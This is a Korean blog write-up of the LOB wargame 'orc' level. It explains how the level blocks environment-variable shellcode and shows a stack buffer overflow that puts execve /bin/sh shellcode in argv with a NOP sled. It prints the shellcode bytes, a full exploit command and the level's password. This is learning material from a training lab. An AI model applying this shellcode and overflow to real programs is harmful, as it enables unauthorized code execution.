ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LOB] goblin
    hacking 2021. 8. 25. 23:12

    orc.c

    egghunter란게 생겼다

    environ 값을 초기화하는 코드가 추가 되었다

    environ 이 무엇인고 하니

    한마디로 환경변수이다

    이 부분을 사용해서 exploit을 하지 못하게 한 것이다

    환경변수에 shellcode를 올리고 그쪽으로 ret를 돌려서 푸는 방법을 막는 의도인듯 싶다

     

    한가지더 return addr이 stack segment여야 한다 (0xbf000000)

     

    이를 고려하여 stack segment에 shellcode를 올리면 된다

    argv도 스택 영역에 올리가는 값이다

    고로 이쪽에 shellcode를 올려서 ret를 돌려보자

     

    구해야 할 것

    argv[2]의 addr

    shellcode

    argv addr

    argv[2]의 addr : 0xbffffbfe

    shellcode : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

     

    ./orc `python -c 'print "A" * 44 + "\xfe\xfb\xff\xbf" + " " + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

    success

    orc / cantata

     

     

    environ과 stack segment에 대해서 알 수 있었던 문제

    shellcode는 남이 만든 25byte shellcode를 가져다 썼는데 shellcode 제작하는 방법에 대해 공부해보면 좋을 것 같다

    (여러가지 종류의 shellcode들이 있는데 뭐가뭔지 아직 잘 모르겠다)

    아 추가로 nop sled 기법도 사용하였다

    이에 대해서도 간단히 적어보는 포스팅을 할 예정

    'hacking' 카테고리의 다른 글

    magic hash  (0) 2021.08.27
    [LOB] orc  (0) 2021.08.26
    [LOB] cobolt  (0) 2021.08.24
    [sstf2021] sqli102  (0) 2021.08.23
    [sstf2021] sqli101  (0) 2021.08.22

    댓글

Designed by Tistory.